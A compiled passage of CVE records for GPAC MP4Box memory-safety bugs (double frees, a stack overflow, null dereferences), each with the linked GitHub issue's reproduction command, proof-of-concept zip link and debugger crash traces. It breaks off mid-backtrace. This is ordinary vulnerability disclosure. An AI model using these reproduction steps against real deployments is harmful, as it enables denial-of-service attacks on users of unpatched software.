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CVE-2021-40573

2022-01-13T19:15:08.267

The binary MP4Box in Gpac 1.0.1 has a double-free vulnerability in the gf_list_del function in list.c, which allows attackers to cause a denial of service.

https://github.com/gpac/gpac/issues/1891

github.com

- [x] I looked for a similar issue and couldn't find any. - [x] I tried with the latest version of GPAC. Installers available at http://gpac.io/downloads/gpac-nightly-builds/ - [x] I give enough information for contributors to reproduce my issue (meaningful title, github labels, platform and compiler, command-line ...). Hi, there. There is a system abort in gf_free, alloc.c:165 in commit 592ba2689a3 caused by double free issue, it is similar to issue #1890 but the scenario is different. Here is my environment, compiler info and gpac version: ~~~~ Distributor ID: Ubuntu Description: Ubuntu 16.04.6 LTS Release: 16.04 Codename: xenial gcc: 5.4.0 MP4Box - GPAC version 1.1.0-DEV-rev1170-g592ba26-master (c) 2000-2021 Telecom Paris distributed under LGPL v2.1+ - http://gpac.io MINI build (encoders, decoders, audio and video output disabled) Please cite our work in your research: GPAC Filters: https://doi.org/10.1145/3339825.3394929 GPAC: https://doi.org/10.1145/1291233.1291452 GPAC Configuration: --static-bin --enable-debug Features: GPAC_CONFIG_LINUX GPAC_64_BITS GPAC_HAS_SOCK_UN GPAC_MINIMAL_ODF GPAC_HAS_QJS GPAC_HAS_FREETYPE GPAC_HAS_JPEG GPAC_HAS_PNG GPAC_DISABLE_3D ~~~~ To reproduce, run ~~~~ ./MP4Box -hint poc ~~~~ POC: [poc.zip](https://github.com/gpac/gpac/files/7044249/mp4box-abrt-doublefree_alloc165.zip) (unzip first) Here is the trace reported by gdb: ~~~~ Stopped reason: SIGABRT gef➤ bt #0 0x0000000001f15d08 in raise () #1 0x0000000001f15f3a in abort () #2 0x0000000001f24ed6 in __libc_message () #3 0x0000000001f2da76 in _int_free () #4 0x0000000001f31af7 in free () #5 0x000000000053de4d in gf_free (ptr=<optimized out>) at /mnt/data/playground/gpac/src/utils/alloc.c:165 #6 0x00000000004f8c14 in gf_list_del (ptr=0x482f2f0) at /mnt/data/playground/gpac/src/utils/list.c:614 #7 0x00000000019f4315 in iloc_entry_del (location=0x480b370) at /mnt/data/playground/gpac/src/isomedia/box_code_meta.c:244 #8 iloc_box_del (s=0x248f080) at /mnt/data/playground/gpac/src/isomedia/box_code_meta.c:256 #9 0x00000000008fa22f in gf_isom_box_del (a=0x248f080) at /mnt/data/playground/gpac/src/isomedia/box_funcs.c:1794 #10 0x0000000000900b5c in gf_isom_box_parse_ex (outBox=outBox@entry=0x7fffffff9360, bs=bs@entry=0x248c750, is_root_box=is_root_box@entry=GF_TRUE, parent_type=0x0) at /mnt/data/playground/gpac/src/isomedia/box_funcs.c:303 #11 0x0000000000900cf2 in gf_isom_parse_root_box (outBox=outBox@entry=0x7fffffff9360, bs=0x248c750, box_type=box_type@entry=0x0, bytesExpected=bytesExpected@entry=0x7fffffff93b0, progressive_mode=progressive_mode@entry=GF_FALSE) at /mnt/data/playground/gpac/src/isomedia/box_funcs.c:38 #12 0x000000000093551f in gf_isom_parse_movie_boxes_internal (mov=mov@entry=0x248c220, boxType=boxType@entry=0x0, bytesMissing=bytesMissing@entry=0x7fffffff93b0, progressive_mode=progressive_mode@entry=GF_FALSE) at /mnt/data/playground/gpac/src/isomedia/isom_intern.c:320 #13 0x000000000093e251 in gf_isom_parse_movie_boxes (progressive_mode=GF_FALSE, bytesMissing=0x7fffffff93b0, boxType=0x0, mov=0x248c220) at /mnt/data/playground/gpac/src/isomedia/isom_intern.c:781 #14 gf_isom_open_file (fileName=0x7fffffffe159 "tmp", OpenMode=<optimized out>, tmp_dir=0x0) at /mnt/data/playground/gpac/src/isomedia/isom_intern.c:901 #15 0x0000000000454a80 in mp4boxMain (argc=<optimized out>, argv=<optimized out>) at /mnt/data/playground/gpac/applications/mp4box/main.c:5841 #16 0x0000000001f06bb6 in generic_start_main () #17 0x0000000001f071a5 in __libc_start_main () #18 0x000000000041c4e9 in _start () ~~~~

System abort caused by double free using mp4box, gf_list_del, list.c:614

https://api.github.com/repos/gpac/gpac/issues/1891/comments

2021-08-25T06:44:03Z

2021-08-30T15:35:16Z

https://github.com/gpac/gpac/issues/1891

CVE-2021-40574

2022-01-13T19:15:08.317

The binary MP4Box in Gpac 1.0.1 has a double-free vulnerability in the gf_text_get_utf8_line function in load_text.c, which allows attackers to cause a denial of service, even code execution and escalation of privileges.

https://github.com/gpac/gpac/issues/1897

github.com

- [x] I looked for a similar issue and couldn't find any. - [x] I tried with the latest version of GPAC. Installers available at http://gpac.io/downloads/gpac-nightly-builds/ - [x] I give enough information for contributors to reproduce my issue (meaningful title, github labels, platform and compiler, command-line ...). Hi, there. There is a buffer overflow in gf_text_get_utf8_line, in commit 592ba2689a3 that results in system abort (core dumped). Here is my environment, compiler info and gpac version: ~~~~ Distributor ID: Ubuntu Description: Ubuntu 16.04.6 LTS Release: 16.04 Codename: xenial gcc: 5.4.0 MP4Box - GPAC version 1.1.0-DEV-rev1170-g592ba26-master (c) 2000-2021 Telecom Paris distributed under LGPL v2.1+ - http://gpac.io MINI build (encoders, decoders, audio and video output disabled) Please cite our work in your research: GPAC Filters: https://doi.org/10.1145/3339825.3394929 GPAC: https://doi.org/10.1145/1291233.1291452 GPAC Configuration: --static-bin --enable-debug Features: GPAC_CONFIG_LINUX GPAC_64_BITS GPAC_HAS_SOCK_UN GPAC_MINIMAL_ODF GPAC_HAS_QJS GPAC_HAS_FREETYPE GPAC_HAS_JPEG GPAC_HAS_PNG GPAC_DISABLE_3D ~~~~ To reproduce, run ~~~~ ./MP4Box -info poc ~~~~ POC: [poc.zip](https://github.com/gpac/gpac/files/7058142/mp4box-seg-abrt-overflow_gf_text_get_utf8.zip) (unzip first) This is the output of the program: ~~~~ *** stack smashing detected ***: <unknown> terminated Aborted (core dumped) ~~~~ Here is the trace reported by gdb (the stack is smashed): ~~~~ Stopped reason: SIGABRT gef➤ bt #0 0x0000000001f15d08 in raise () #1 0x0000000001f15f3a in abort () #2 0x0000000001f24ed6 in __libc_message () #3 0x0000000001f70a92 in __fortify_fail () #4 0x0000000001f70a3e in __stack_chk_fail () #5 0x000000000127f3ad in gf_text_get_utf8_line (szLine=<optimized out>, lineSize=<optimized out>, txt_in=<optimized out>, unicode_type=0x0) at /mnt/data/playground/gpac/src/filters/load_text.c:337 #6 0xc2657485c3a5c37e in ?? () #7 0xbcc3739fc3314583 in ?? () #8 0x0748654e86c3aac3 in ?? () .... #14 0x609ec3a0c3a7c26e in ?? () #15 0x11bdcd643758a5c3 in ?? () #16 0x00000000009ac35e in gf_isom_load_extra_boxes (movie=0xc53f89c4114aacc2, moov_boxes=<optimized out>, moov_boxes_size=<optimized out>, udta_only=(unknown: 2747429506)) at /mnt/data/playground/gpac/src/isomedia/isom_write.c:615 #17 0x0000000000000000 in ?? () ~~~~

System abort (Core dumped) caused by buffer overflow using MP4Box in gf_text_get_utf8_line

https://api.github.com/repos/gpac/gpac/issues/1897/comments

2021-08-26T11:19:33Z

2021-08-30T15:33:45Z

https://github.com/gpac/gpac/issues/1897

CVE-2021-40575

2022-01-13T19:15:08.367

The binary MP4Box in Gpac 1.0.1 has a null pointer dereference vulnerability in the mpgviddmx_process function in reframe_mpgvid.c, which allows attackers to cause a denial of service. This vulnerability is possibly due to an incomplete fix for CVE-2021-40566.

https://github.com/gpac/gpac/issues/1905

github.com

- [x] I looked for a similar issue and couldn't find any. - [x] I tried with the latest version of GPAC. Installers available at http://gpac.io/downloads/gpac-nightly-builds/ - [x] I give enough information for contributors to reproduce my issue (meaningful title, github labels, platform and compiler, command-line ...). Hi, there. There is a segmentation fault caused by null pointer dereference in mpgviddmx_process, reframe_mpgvid.c:643 in commit d003a572d57. It seems to be an incomplete fix of issue #1887 and causes another problem. Here is my environment, compiler info and gpac version: ~~~~ Distributor ID: Ubuntu Description: Ubuntu 16.04.6 LTS Release: 16.04 Codename: xenial gcc: 5.4.0 MP4Box - GPAC version 1.1.0-DEV-rev1191-g55d6dbc-master (c) 2000-2021 Telecom Paris distributed under LGPL v2.1+ - http://gpac.io MINI build (encoders, decoders, audio and video output disabled) Please cite our work in your research: GPAC Filters: https://doi.org/10.1145/3339825.3394929 GPAC: https://doi.org/10.1145/1291233.1291452 GPAC Configuration: --static-bin --enable-debug Features: GPAC_CONFIG_LINUX GPAC_64_BITS GPAC_HAS_SOCK_UN GPAC_MINIMAL_ODF GPAC_HAS_QJS GPAC_HAS_FREETYPE GPAC_HAS_JPEG GPAC_HAS_PNG GPAC_DISABLE_3D ~~~~ To reproduce, run ~~~~ ./MP4Box -info poc ~~~~ POC: [poc.zip](https://github.com/gpac/gpac/files/7088610/mp4box-seg-npd-mpgviddmx_process643.zip) (unzip first) Here is the trace reported by gdb: ~~~~ Stopped reason: SIGSEGV gef➤ bt #0 0x000000000141a950 in memcpy (__len=0xffffffffffffffff, __src=0x24ada59, __dest=0x24a5770) at /usr/include/x86_64-linux-gnu/bits/string3.h:53 #1 mpgviddmx_process (filter=0x24a0bd0) at /mnt/data/playground/gpac/src/filters/reframe_mpgvid.c:643 #2 0x0000000000fe3e78 in gf_filter_process_task (task=0x2492f30) at /mnt/data/playground/gpac/src/filter_core/filter.c:2441 #3 0x0000000000f7ab69 in gf_fs_thread_proc (sess_thread=sess_thread@entry=0x248c2b0) at /mnt/data/playground/gpac/src/filter_core/filter_session.c:1640 #4 0x0000000000f927b8 in gf_fs_run (fsess=fsess@entry=0x248c220) at /mnt/data/playground/gpac/src/filter_core/filter_session.c:1877 #5 0x0000000000c17c8b in gf_media_import (importer=importer@entry=0x7fffffff5bf0) at /mnt/data/playground/gpac/src/media_tools/media_import.c:1178 #6 0x0000000000497345 in convert_file_info (inName=0x7fffffffe15b "tmp", trackID=0x0) at /mnt/data/playground/gpac/applications/mp4box/fileimport.c:128 #7 0x0000000000456aaa in mp4boxMain (argc=<optimized out>, argv=<optimized out>) at /mnt/data/playground/gpac/applications/mp4box/main.c:5925 #8 0x0000000001f06976 in generic_start_main () #9 0x0000000001f06f65 in __libc_start_main () #10 0x000000000041c4e9 in _start () ~~~~ Here is the trace reported by ASAN: ~~~~ ==29762==ERROR: AddressSanitizer: negative-size-param: (size=-1) #0 0x7fdaf42ff813 (/usr/lib/x86_64-linux-gnu/libasan.so.4+0x79813) #1 0x7fdaf2897f1c in memcpy /usr/include/x86_64-linux-gnu/bits/string_fortified.h:34 #2 0x7fdaf2897f1c in mpgviddmx_process /playground/gpac/src/filters/reframe_mpgvid.c:643 #3 0x7fdaf254efa0 in gf_filter_process_task /playground/gpac/src/filter_core/filter.c:2441 #4 0x7fdaf250f0e2 in gf_fs_thread_proc /playground/gpac/src/filter_core/filter_session.c:1640 #5 0x7fdaf2519fb0 in gf_fs_run /playground/gpac/src/filter_core/filter_session.c:1877 #6 0x7fdaf1ff21f5 in gf_media_import /playground/gpac/src/media_tools/media_import.c:1178 #7 0x55ce40c3484f in convert_file_info /playground/gpac/applications/mp4box/fileimport.c:128 #8 0x55ce40c07635 in mp4boxMain /playground/gpac/applications/mp4box/main.c:5925 #9 0x7fdaef9a6bf6 in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x21bf6) #10 0x55ce40be83f9 in _start (/playground/gpac/build-a/bin/gcc/MP4Box+0x873f9) 0x622000007489 is located 0 bytes to the right of 5001-byte region [0x622000006100,0x622000007489) allocated by thread T0 here: #0 0x7fdaf4364b40 in __interceptor_malloc (/usr/lib/x86_64-linux-gnu/libasan.so.4+0xdeb40) #1 0x7fdaf26a0289 in filein_initialize /playground/gpac/src/filters/in_file.c:193 #2 0x7fdaf253b0f0 in gf_filter_new_finalize /playground/gpac/src/filter_core/filter.c:425 #3 0x7fdaf253f294 in gf_filter_new /playground/gpac/src/filter_core/filter.c:382 #4 0x7fdaf2519310 in gf_fs_load_source_dest_internal /playground/gpac/src/filter_core/filter_session.c:2833 #5 0x7fdaf2524a82 in gf_fs_load_source /playground/gpac/src/filter_core/filter_session.c:2873 #6 0x7fdaf1ff21a6 in gf_media_import /playground/gpac/src/media_tools/media_import.c:1165 #7 0x55ce40c3484f in convert_file_info /playground/gpac/applications/mp4box/fileimport.c:128 #8 0x55ce40c07635 in mp4boxMain /playground/gpac/applications/mp4box/main.c:5925 #9 0x7fdaef9a6bf6 in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x21bf6) SUMMARY: AddressSanitizer: negative-size-param (/usr/lib/x86_64-linux-gnu/libasan.so.4+0x79813) ==29762==ABORTING ~~~~

Segmentation fault casued by null pointer dereference using mp4box in mpgviddmx_process, reframe_mpgvid.c:643

https://api.github.com/repos/gpac/gpac/issues/1905/comments

2021-09-01T06:02:21Z

2021-09-01T12:04:16Z

https://github.com/gpac/gpac/issues/1905

CVE-2021-40576

2022-01-13T19:15:08.407

The binary MP4Box in Gpac 1.0.1 has a null pointer dereference vulnerability in the gf_isom_get_payt_count function in hint_track.c, which allows attackers to cause a denial of service.

https://github.com/gpac/gpac/issues/1904

github.com

- [x] I looked for a similar issue and couldn't find any. - [x] I tried with the latest version of GPAC. Installers available at http://gpac.io/downloads/gpac-nightly-builds/ - [x] I give enough information for contributors to reproduce my issue (meaningful title, github labels, platform and compiler, command-line ...). Hi, there. There is a segmentation fault caused by null pointer dereference in gf_isom_get_payt_count, hint_track.c:990 in commit d003a572d57. Here is my environment, compiler info and gpac version: ~~~~ Distributor ID: Ubuntu Description: Ubuntu 16.04.6 LTS Release: 16.04 Codename: xenial gcc: 5.4.0 MP4Box - GPAC version 1.1.0-DEV-rev1191-g55d6dbc-master (c) 2000-2021 Telecom Paris distributed under LGPL v2.1+ - http://gpac.io MINI build (encoders, decoders, audio and video output disabled) Please cite our work in your research: GPAC Filters: https://doi.org/10.1145/3339825.3394929 GPAC: https://doi.org/10.1145/1291233.1291452 GPAC Configuration: --static-bin --enable-debug Features: GPAC_CONFIG_LINUX GPAC_64_BITS GPAC_HAS_SOCK_UN GPAC_MINIMAL_ODF GPAC_HAS_QJS GPAC_HAS_FREETYPE GPAC_HAS_JPEG GPAC_HAS_PNG GPAC_DISABLE_3D ~~~~ To reproduce, run ~~~~ ./MP4Box -info poc ~~~~ POC: [poc.zip](https://github.com/gpac/gpac/files/7083766/mp4box-seg-npd_gf_isom_get_payt_count990.zip) (unzip first) Here is the trace reported by gdb: ~~~~ Stopped reason: SIGSEGV gef➤ bt #0 0x0000000000ab4f30 in gf_isom_get_payt_count (the_file=the_file@entry=0x248c220, trackNumber=trackNumber@entry=0x4) at /mnt/data/playground/gpac/src/isomedia/hint_track.c:990 #1 0x0000000000490533 in DumpTrackInfo (file=file@entry=0x248c220, trackID=0x6, trackID@entry=0x4, full_dump=full_dump@entry=GF_FALSE, is_track_num=is_track_num@entry=GF_TRUE, dump_m4sys=dump_m4sys@entry=GF_TRUE) at /mnt/data/playground/gpac/applications/mp4box/filedump.c:3178 #2 0x0000000000491d78 in DumpMovieInfo (file=0x248c220, full_dump=GF_FALSE) at /mnt/data/playground/gpac/applications/mp4box/filedump.c:3789 #3 0x0000000000456587 in mp4boxMain (argc=<optimized out>, argv=<optimized out>) at /mnt/data/playground/gpac/applications/mp4box/main.c:6023 #4 0x0000000001f06976 in generic_start_main () #5 0x0000000001f06f65 in __libc_start_main () #6 0x000000000041c4e9 in _start () ~~~~

Segmentation fault caused by null pointer dereference using mp4box in gf_isom_get_payt_count, hint_track.c:990

https://api.github.com/repos/gpac/gpac/issues/1904/comments

2021-08-31T12:13:57Z

2021-09-01T12:04:15Z

https://github.com/gpac/gpac/issues/1904

CVE-2021-45760

2022-01-14T00:15:07.767

GPAC v1.1.0 was discovered to contain an invalid memory address dereference via the function gf_list_last(). This vulnerability allows attackers to cause a Denial of Service (DoS).

https://github.com/gpac/gpac/issues/1966

github.com

Thanks for reporting your issue. Please make sure these boxes are checked before submitting your issue - thank you! - [x] I looked for a similar issue and couldn't find any. - [x] I tried with the latest version of GPAC. Installers available at http://gpac.io/downloads/gpac-nightly-builds/ - [x] I give enough information for contributors to reproduce my issue (meaningful title, github labels, platform and compiler, command-line ...). I can share files anonymously with this dropbox: https://www.mediafire.com/filedrop/filedrop_hosted.php?drop=eec9e058a9486fe4e99c33021481d9e1826ca9dbc242a6cfaab0fe95da5e5d95 Detailed guidelines: http://gpac.io/2013/07/16/how-to-file-a-bug-properly/ An invalid memory address dereference was discovered in dump_od_to_saf.isra(). The vulnerability causes a segmentation fault and application crash. **Version:** ``` MP4Box - GPAC version 1.1.0-DEV-revUNKNOWN_REV (c) 2000-2021 Telecom Paris distributed under LGPL v2.1+ - http://gpac.io Please cite our work in your research: GPAC Filters: https://doi.org/10.1145/3339825.3394929 GPAC: https://doi.org/10.1145/1291233.1291452 GPAC Configuration: Features: GPAC_CONFIG_LINUX GPAC_64_BITS GPAC_HAS_IPV6 GPAC_HAS_SOCK_UN GPAC_MINIMAL_ODF GPAC_HAS_QJS GPAC_HAS_JPEG GPAC_HAS_PNG GPAC_HAS_LINUX_DVB GPAC_DISABLE_3D ``` **System information** Ubuntu 20.04 focal, AMD EPYC 7742 64-Core @ 16x 2.25GHz **command:** ``` ./MP4Box -lsr poc_3 ``` [poc_3.zip](https://github.com/gpac/gpac/files/7692204/poc_3.zip) **Result** ``` [ODF] Not enough bytes (38) to read descriptor (size=59) [ODF] Error reading descriptor (tag 4 size 49): Invalid MPEG-4 Descriptor [iso file] extra box maxr found in hinf, deleting [iso file] extra box maxr found in hinf, deleting [iso file] Incomplete box mdat - start 11495 size 861263 [iso file] Incomplete file while reading for dump - aborting parsing [ODF] Not enough bytes (38) to read descriptor (size=59) [ODF] Error reading descriptor (tag 4 size 49): Invalid MPEG-4 Descriptor [iso file] extra box maxr found in hinf, deleting [iso file] extra box maxr found in hinf, deleting [iso file] Incomplete box mdat - start 11495 size 861263 [iso file] Incomplete file while reading for dump - aborting parsing MPEG-4 BIFS Scene Parsing Scene loaded - dumping 2 systems streams [1] 1390552 segmentation fault ./MP4Box -lsr ./poc/poc_3 ``` **gdb** ``` Program received signal SIGSEGV, Segmentation fault. 0x00007ffff7ab7e3b in dump_od_to_saf.isra () from /root/fuckit/test/gpac1210/bin/gcc/libgpac.so.10 LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA ────────────────────────────────────────────[ REGISTERS ]───────────────────────────────────────────── RAX 0x0 RBX 0x5555555df630 —▸ 0x5555555df601 ◂— 0x2100000000000000 RCX 0x0 RDX 0x7ffff72bf040 ◂— 0x7ffff72bf040 RDI 0x5555555e0400 ◂— 0xfbad2c84 RSI 0x5555555df440 ◂— 0x7 R8 0x0 R9 0x23 R10 0x7ffff7e4690b ◂— 0x7473200000000022 /* '"' */ R11 0x7fffffff70c7 ◂— 0x4d0552ab398a0031 /* '1' */ R12 0x0 R13 0x5555555df4d0 ◂— 0x0 R14 0x5555555df070 —▸ 0x5555555e0400 ◂— 0xfbad2c84 R15 0x5555555dfcb0 ◂— 0x700010003 RBP 0x1 RSP 0x7fffffff7200 —▸ 0x5555555df8a0 ◂— 0xc0 RIP 0x7ffff7ab7e3b (dump_od_to_saf.isra+299) ◂— movzx edx, byte ptr [rax + 8] ──────────────────────────────────────────────[ DISASM ]────────────────────────────────────────────── ► 0x7ffff7ab7e3b <dump_od_to_saf.isra+299> movzx edx, byte ptr [rax + 8] 0x7ffff7ab7e3f <dump_od_to_saf.isra+303> mov ecx, dword ptr [rax + 4] 0x7ffff7ab7e42 <dump_od_to_saf.isra+306> xor eax, eax 0x7ffff7ab7e44 <dump_od_to_saf.isra+308> mov r8d, dword ptr [rsi + 0x18] 0x7ffff7ab7e48 <dump_od_to_saf.isra+312> lea rsi, [rip + 0x38eac1] 0x7ffff7ab7e4f <dump_od_to_saf.isra+319> call gf_fprintf@plt <gf_fprintf@plt> 0x7ffff7ab7e54 <dump_od_to_saf.isra+324> mov rdx, qword ptr [r13] 0x7ffff7ab7e58 <dump_od_to_saf.isra+328> mov r9, qword ptr [rsp] 0x7ffff7ab7e5c <dump_od_to_saf.isra+332> test rdx, rdx 0x7ffff7ab7e5f <dump_od_to_saf.isra+335> jne dump_od_to_saf.isra+464 <dump_od_to_saf.isra+464> 0x7ffff7ab7e61 <dump_od_to_saf.isra+337> mov rdi, qword ptr [r14] ──────────────────────────────────────────────[ STACK ]─────────────────────────────────────────────── 00:0000│ rsp 0x7fffffff7200 —▸ 0x5555555df8a0 ◂— 0xc0 01:0008│ 0x7fffffff7208 ◂— 0x100000002 02:0010│ 0x7fffffff7210 —▸ 0x5555555dfa50 —▸ 0x5555555dfde0 ◂— 0x0 03:0018│ 0x7fffffff7218 ◂— 0x0 04:0020│ 0x7fffffff7220 —▸ 0x5555555dfa50 —▸ 0x5555555dfde0 ◂— 0x0 05:0028│ 0x7fffffff7228 ◂— 0x0 06:0030│ 0x7fffffff7230 ◂— 0x0 07:0038│ 0x7fffffff7238 —▸ 0x5555555df4d0 ◂— 0x0 ────────────────────────────────────────────[ BACKTRACE ]───────────────────────────────────────────── ► f 0 0x7ffff7ab7e3b dump_od_to_saf.isra+299 f 1 0x7ffff7ac282d gf_sm_dump+1853 f 2 0x555555584418 dump_isom_scene+616 f 3 0x55555557b42c mp4boxMain+9228 f 4 0x7ffff75630b3 __libc_start_main+243 ────────────────────────────────────────────────────────────────────────────────────────────────────── pwndbg> bt #0 0x00007ffff7ab7e3b in dump_od_to_saf.isra () from /root/fuckit/test/gpac1210/bin/gcc/libgpac.so.10 #1 0x00007ffff7ac282d in gf_sm_dump () from /root/fuckit/test/gpac1210/bin/gcc/libgpac.so.10 #2 0x0000555555584418 in dump_isom_scene () #3 0x000055555557b42c in mp4boxMain () #4 0x00007ffff75630b3 in __libc_start_main (main=0x55555556c420 <main>, argc=3, argv=0x7fffffffe188, init=<optimized out>, fini=<optimized out>, rtld_fini=<optimized out>, stack_end=0x7fffffffe178) at ../csu/libc-start.c:308 #5 0x000055555556c45e in _start () ```

Invalid memory address dereference in dump_od_to_saf.isra()

https://api.github.com/repos/gpac/gpac/issues/1966/comments

2021-12-10T11:00:37Z

2021-12-13T13:22:06Z

https://github.com/gpac/gpac/issues/1966

CVE-2021-45762

2022-01-14T19:15:08.027

GPAC v1.1.0 was discovered to contain an invalid memory address dereference via the function gf_sg_vrml_mf_reset(). This vulnerability allows attackers to cause a Denial of Service (DoS).

https://github.com/gpac/gpac/issues/1978

github.com

Thanks for reporting your issue. Please make sure these boxes are checked before submitting your issue - thank you! - [x] I looked for a similar issue and couldn't find any. - [x] I tried with the latest version of GPAC. Installers available at http://gpac.io/downloads/gpac-nightly-builds/ - [x] I give enough information for contributors to reproduce my issue (meaningful title, github labels, platform and compiler, command-line ...). I can share files anonymously with this dropbox: https://www.mediafire.com/filedrop/filedrop_hosted.php?drop=eec9e058a9486fe4e99c33021481d9e1826ca9dbc242a6cfaab0fe95da5e5d95 Detailed guidelines: http://gpac.io/2013/07/16/how-to-file-a-bug-properly/ An invalid memory address dereference was discovered in gf_sg_vrml_mf_reset(). The vulnerability causes a segmentation fault and application crash. **Version:** ``` MP4Box - GPAC version 1.1.0-DEV-revUNKNOWN_REV (c) 2000-2021 Telecom Paris distributed under LGPL v2.1+ - http://gpac.io Please cite our work in your research: GPAC Filters: https://doi.org/10.1145/3339825.3394929 GPAC: https://doi.org/10.1145/1291233.1291452 GPAC Configuration: Features: GPAC_CONFIG_LINUX GPAC_64_BITS GPAC_HAS_IPV6 GPAC_HAS_SOCK_UN GPAC_MINIMAL_ODF GPAC_HAS_QJS GPAC_HAS_JPEG GPAC_HAS_PNG GPAC_HAS_LINUX_DVB GPAC_DISABLE_3D ``` **System information** Ubuntu 20.04 focal, AMD EPYC 7742 64-Core @ 16x 2.25GHz **command:** ``` ./MP4Box -lsr poc_14 ``` [poc_14.zip](https://github.com/gpac/gpac/files/7696722/poc_14.zip) **Result** ``` ./MP4Box -lsr ./poc/poc_14 [iso file] Box "stco" (start 2057) has 6144 extra bytes [iso file] Box "stco" is larger than container box [iso file] Box "stbl" size 1814 (start 415) invalid (read 7894) [iso file] Unknown box type 00040000 in parent dref [iso file] extra box maxr found in hinf, deleting [iso file] Box "stss" (start 9939) has 32 extra bytes [iso file] extra box maxr found in hinf, deleting [iso file] Track with no sample description box ! [iso file] Incomplete box mdat - start 11495 size 859244 [iso file] Incomplete file while reading for dump - aborting parsing [iso file] Box "stco" (start 2057) has 6144 extra bytes [iso file] Box "stco" is larger than container box [iso file] Box "stbl" size 1814 (start 415) invalid (read 7894) [iso file] Unknown box type 00040000 in parent dref [iso file] extra box maxr found in hinf, deleting [iso file] Box "stss" (start 9939) has 32 extra bytes [iso file] extra box maxr found in hinf, deleting [iso file] Track with no sample description box ! [iso file] Incomplete box mdat - start 11495 size 859244 [iso file] Incomplete file while reading for dump - aborting parsing MPEG-4 BIFS Scene Parsing [1] 250723 segmentation fault ./MP4Box -lsr ./poc/poc_14 ``` **gdb** ``` Program received signal SIGSEGV, Segmentation fault. 0x00007ffff78a0d66 in gf_sg_vrml_mf_reset () from /root/fuckit/test/gpac1210/bin/gcc/libgpac.so.10 LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA ───────────────────────────────[ REGISTERS ]──────────────────────────────── RAX 0x0 RBX 0x0 RCX 0x7fffffff6160 ◂— 0x3f00000004 RDX 0x8 RDI 0x0 RSI 0x3f R8 0x0 R9 0x0 R10 0x7ffff775c1f5 ◂— 'gf_sg_script_field_get_info' R11 0x7ffff788f770 (gf_sg_script_field_get_info) ◂— endbr64 R12 0x7fffffff6160 ◂— 0x3f00000004 R13 0x5555555deb80 ◂— 0x0 R14 0x5555555dfbb0 —▸ 0x5555555dfbe0 ◂— 0x100000051 /* 'Q' */ R15 0x1d61 RBP 0x5555555d5d60 ◂— 0x0 RSP 0x7fffffff6118 —▸ 0x7ffff790fbe2 (gf_bifs_dec_field+130) ◂— mov r15d, eax RIP 0x7ffff78a0d66 (gf_sg_vrml_mf_reset+6) ◂— cmp qword ptr [rdi + 8], 0 ───────────────────────────────────────[ DISASM ]──────────────────────────────────────── ► 0x7ffff78a0d66 <gf_sg_vrml_mf_reset+6> cmp qword ptr [rdi + 8], 0 0x7ffff78a0d6b <gf_sg_vrml_mf_reset+11> je gf_sg_vrml_mf_reset+144 <gf_sg_vrml_mf_reset+144> ↓ 0x7ffff78a0df0 <gf_sg_vrml_mf_reset+144> ret 0x7ffff78a0df1 <gf_sg_vrml_mf_reset+145> nop dword ptr [rax] 0x7ffff78a0df8 <gf_sg_vrml_mf_reset+152> mov eax, dword ptr [rbp] 0x7ffff78a0dfb <gf_sg_vrml_mf_reset+155> mov r13, qword ptr [rbp + 8] 0x7ffff78a0dff <gf_sg_vrml_mf_reset+159> test eax, eax 0x7ffff78a0e01 <gf_sg_vrml_mf_reset+161> je gf_sg_vrml_mf_reset+198 <gf_sg_vrml_mf_reset+198> ↓ 0x7ffff78a0e26 <gf_sg_vrml_mf_reset+198> mov rdi, r13 0x7ffff78a0e29 <gf_sg_vrml_mf_reset+201> call gf_free@plt <gf_free@plt> 0x7ffff78a0e2e <gf_sg_vrml_mf_reset+206> jmp gf_sg_vrml_mf_reset+100 <gf_sg_vrml_mf_reset+100> ────────────────────────────────────────[ STACK ]──────────────────────────────────────── 00:0000│ rsp 0x7fffffff6118 —▸ 0x7ffff790fbe2 (gf_bifs_dec_field+130) ◂— mov r15d, eax 01:0008│ 0x7fffffff6120 —▸ 0x7fffffff65b0 —▸ 0x5555555dfbb0 —▸ 0x5555555dfbe0 ◂— 0x100000051 /* 'Q' */ 02:0010│ 0x7fffffff6128 —▸ 0x7fffffff65b0 —▸ 0x5555555dfbb0 —▸ 0x5555555dfbe0 ◂— 0x100000051 /* 'Q' */ 03:0018│ 0x7fffffff6130 ◂— 0x0 04:0020│ 0x7fffffff6138 —▸ 0x5555555e0210 ◂— 0x3f00000000 05:0028│ 0x7fffffff6140 —▸ 0x7fffffff6160 ◂— 0x3f00000004 06:0030│ 0x7fffffff6148 —▸ 0x7fffffff65b0 —▸ 0x5555555dfbb0 —▸ 0x5555555dfbe0 ◂— 0x100000051 /* 'Q' */ 07:0038│ 0x7fffffff6150 ◂— 0x1d61 ──────────────────────────────────────[ BACKTRACE ]────────────────────────────────────── ► f 0 0x7ffff78a0d66 gf_sg_vrml_mf_reset+6 f 1 0x7ffff790fbe2 gf_bifs_dec_field+130 f 2 0x7ffff7916f02 ParseScriptField+274 f 3 0x7ffff7919c50 SFScript_Parse+1056 f 4 0x7ffff790eb3c gf_bifs_dec_sf_field+1548 f 5 0x7ffff790eff2 BD_DecMFFieldList+242 f 6 0x7ffff790fac5 gf_bifs_dec_node_mask+421 f 7 0x7ffff790e158 gf_bifs_dec_node+936 ───────────────────────────────────────────────────────────────────────────────────────── pwndbg> bt #0 0x00007ffff78a0d66 in gf_sg_vrml_mf_reset () from /root/fuckit/test/gpac1210/bin/gcc/libgpac.so.10 #1 0x00007ffff790fbe2 in gf_bifs_dec_field () from /root/fuckit/test/gpac1210/bin/gcc/libgpac.so.10 #2 0x00007ffff7916f02 in ParseScriptField () from /root/fuckit/test/gpac1210/bin/gcc/libgpac.so.10 #3 0x00007ffff7919c50 in SFScript_Parse () from /root/fuckit/test/gpac1210/bin/gcc/libgpac.so.10 #4 0x00007ffff790eb3c in gf_bifs_dec_sf_field () from /root/fuckit/test/gpac1210/bin/gcc/libgpac.so.10 #5 0x00007ffff790eff2 in BD_DecMFFieldList () from /root/fuckit/test/gpac1210/bin/gcc/libgpac.so.10 #6 0x00007ffff790fac5 in gf_bifs_dec_node_mask () from /root/fuckit/test/gpac1210/bin/gcc/libgpac.so.10 #7 0x00007ffff790e158 in gf_bifs_dec_node () from /root/fuckit/test/gpac1210/bin/gcc/libgpac.so.10 #8 0x00007ffff790f3b4 in BD_DecMFFieldVec () from 